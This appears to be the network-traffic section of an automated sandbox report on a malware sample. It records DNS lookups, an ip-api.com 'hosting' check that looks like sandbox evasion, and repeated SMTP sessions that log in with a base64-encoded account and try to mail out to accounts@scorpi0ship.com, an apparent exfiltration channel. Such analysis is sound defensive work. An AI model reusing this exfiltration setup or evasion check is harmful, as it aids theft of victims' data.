Jul 25, 2024 19:20:07.341741085 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:07.346689939 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.558235884 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.558419943 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:07.563608885 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.733979940 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.734544992 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:07.741249084 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.741327047 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:15.885550976 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:15.890743971 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:15.890819073 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:16.517530918 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:16.520664930 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:16.525562048 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:16.686058998 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:16.686285019 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:16.691338062 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:16.853066921 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:16.853295088 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:16.858401060 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:18.786267996 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:18.786597013 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:18.792310953 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:18.792612076 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:18.792666912 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:18.954289913 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:18.954842091 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:18.960227966 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:19.140961885 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:19.141760111 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:19.148045063 CEST	587	49726	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:19.148262024 CEST	49726	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:24.423126936 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:24.428019047 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:24.428093910 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:25.103842020 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:25.103969097 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:25.115987062 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:25.317955017 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:25.318209887 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:25.324116945 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:25.480125904 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:25.480405092 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:25.486815929 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:27.317506075 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.371870041 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.627456903 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.679671049 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:27.679714918 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:27.679725885 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.679763079 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.689640045 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:27.689651966 CEST	587	49727	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:27.689708948 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:27.689735889 CEST	49727	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:28.261765003 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:28.261874914 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:28.266669035 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:28.432954073 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:28.433098078 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:28.443720102 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:28.604074955 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:28.605648041 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:28.619245052 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:29.518157005 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:29.524426937 CEST	587	49728	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:29.524513960 CEST	49728	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:29.578933001 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:29.583789110 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:29.583859921 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:30.162595034 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:30.162786961 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:30.167839050 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:30.321820021 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:30.321975946 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:30.327518940 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:30.491468906 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:30.493690968 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:30.506489992 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.378535986 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.378798962 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:32.395066023 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.621088028 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.625514984 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:32.672940969 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.822891951 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.829509974 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:32.836242914 CEST	587	49729	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:32.836379051 CEST	49729	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:38.062024117 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:38.067166090 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:38.067240000 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:38.656832933 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:38.661516905 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:38.669656038 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:38.838748932 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:38.840092897 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:38.854499102 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.002557039 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.011456013 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.011732101 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.014200926 CEST	587	49730	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.014329910 CEST	49730	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.067564011 CEST	49731	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.076725006 CEST	587	49731	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.079823971 CEST	49731	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.252568007 CEST	49731	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.258425951 CEST	587	49731	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.258517981 CEST	49731	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.344031096 CEST	49732	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.350970984 CEST	587	49732	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.351063013 CEST	49732	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.580732107 CEST	49732	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.589992046 CEST	587	49732	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.593059063 CEST	587	49732	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.593102932 CEST	49732	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.686054945 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:39.691606045 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:39.691679955 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:40.247836113 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:40.247982025 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:40.253129959 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:40.414540052 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:40.414746046 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:40.460366011 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:40.619743109 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:40.620315075 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:40.625111103 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.354418039 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.354573011 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:42.368243933 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.526681900 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.531781912 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:42.537410975 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.739706039 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.747585058 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:42.758022070 CEST	587	49733	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:42.764326096 CEST	49733	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:47.135844946 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:47.140932083 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:47.141071081 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:47.811508894 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:47.811672926 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:47.818537951 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:47.979518890 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:47.984751940 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:47.991075993 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:48.148386002 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:48.148616076 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:48.154035091 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.364067078 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.364218950 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:50.371648073 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.537293911 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.537606001 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:50.565689087 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.741770029 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.742049932 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:50.747849941 CEST	587	49734	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:50.747977972 CEST	49734	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:00.385030031 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:00.405003071 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:00.405138969 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:01.004905939 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:01.005194902 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:01.012388945 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:01.168024063 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:01.168342113 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:01.173284054 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:01.328331947 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:01.328686953 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:01.333571911 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.538322926 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.538857937 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:03.544189930 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.704817057 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.705012083 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:03.714416981 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.888133049 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.888514996 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:03.894730091 CEST	587	49735	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:03.894788980 CEST	49735	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:13.611346960 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:13.616614103 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:13.616908073 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:14.254731894 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:14.254928112 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:14.261231899 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:14.460799932 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:14.461024046 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:14.481415987 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:14.672751904 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:14.673049927 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:14.678500891 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:16.378689051 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:16.378885031 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:16.384968042 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:16.859947920 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:16.860127926 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:16.865880966 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:16.866045952 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:16.872083902 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:17.054963112 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:17.055315971 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:17.065757990 CEST	587	49736	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:17.065871000 CEST	49736	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:25.423506975 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:25.429198027 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:25.429456949 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:26.385333061 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:26.385489941 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:26.387170076 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:26.387221098 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:26.828413010 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:26.828526020 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:26.839493036 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:26.990353107 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:26.993752003 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:27.000118017 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:27.155898094 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:27.161735058 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:27.166764975 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.172308922 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.173795938 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:29.184653044 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.339230061 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.341702938 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:29.350841999 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.524669886 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.527945995 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:29.549170971 CEST	587	49737	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:29.552440882 CEST	49737	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:34.168378115 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:34.178824902 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:34.178905964 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:34.763938904 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:34.769622087 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:34.776794910 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:34.941061020 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:34.944675922 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:34.951399088 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:35.221143961 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:35.221436024 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:35.233072042 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.561686993 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.564413071 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:37.571703911 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.728533030 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.728876114 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:37.733994007 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.904254913 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:37.904568911 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:38.185183048 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:38.185245037 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:38.189640045 CEST	587	49738	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:38.189703941 CEST	49738	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:52.938690901 CEST	49739	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:52.944200993 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:52.944277048 CEST	49739	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:53.512001991 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:53.512162924 CEST	49739	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:53.517124891 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:53.712277889 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:53.712527990 CEST	49739	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:53.718230009 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:53.891038895 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:53.892002106 CEST	49739	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:21:53.897826910 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:55.198633909 CEST	587	49739	208.91.198.143	192.168.2.5
Jul 25, 2024 19:21:55.252471924 CEST	49739	587	192.168.2.5	208.91.198.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 19:17:46.015358925 CEST	62189	53	192.168.2.5	1.1.1.1
Jul 25, 2024 19:17:46.477129936 CEST	53	62189	1.1.1.1	192.168.2.5
Jul 25, 2024 19:17:47.698205948 CEST	49244	53	192.168.2.5	1.1.1.1
Jul 25, 2024 19:17:48.052699089 CEST	53	49244	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 19:17:46.015358925 CEST	192.168.2.5	1.1.1.1	0x8b18	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Jul 25, 2024 19:17:47.698205948 CEST	192.168.2.5	1.1.1.1	0x3cf0	Standard query (0)	smtp.thanhancompony.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 19:17:46.477129936 CEST	1.1.1.1	192.168.2.5	0x8b18	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Jul 25, 2024 19:17:48.052699089 CEST	1.1.1.1	192.168.2.5	0x3cf0	No error (0)	smtp.thanhancompony.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 25, 2024 19:17:48.052699089 CEST	1.1.1.1	192.168.2.5	0x3cf0	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Jul 25, 2024 19:17:48.052699089 CEST	1.1.1.1	192.168.2.5	0x3cf0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Jul 25, 2024 19:17:48.052699089 CEST	1.1.1.1	192.168.2.5	0x3cf0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Jul 25, 2024 19:17:48.052699089 CEST	1.1.1.1	192.168.2.5	0x3cf0	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	208.95.112.1	80	6380	C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 19:17:46.493830919 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 25, 2024 19:17:47.092885971 CEST	175	IN	HTTP/1.1 200 OK Date: Thu, 25 Jul 2024 17:17:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jul 25, 2024 19:17:48.816313982 CEST	587	49708	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:17:48.816606998 CEST	49708	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:17:48.982152939 CEST	587	49708	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:17:48.983150959 CEST	49708	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:17:49.175451040 CEST	587	49708	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:17:51.392841101 CEST	587	49708	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:17:51.393059015 CEST	49708	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:17:51.561068058 CEST	587	49708	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:17:51.561269045 CEST	49708	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:17:51.760955095 CEST	587	49708	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:17:52.663439035 CEST	587	49711	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:17:52.663640022 CEST	49711	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:17:52.664175034 CEST	587	49711	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:17:52.829381943 CEST	587	49711	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:17:52.829596043 CEST	49711	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
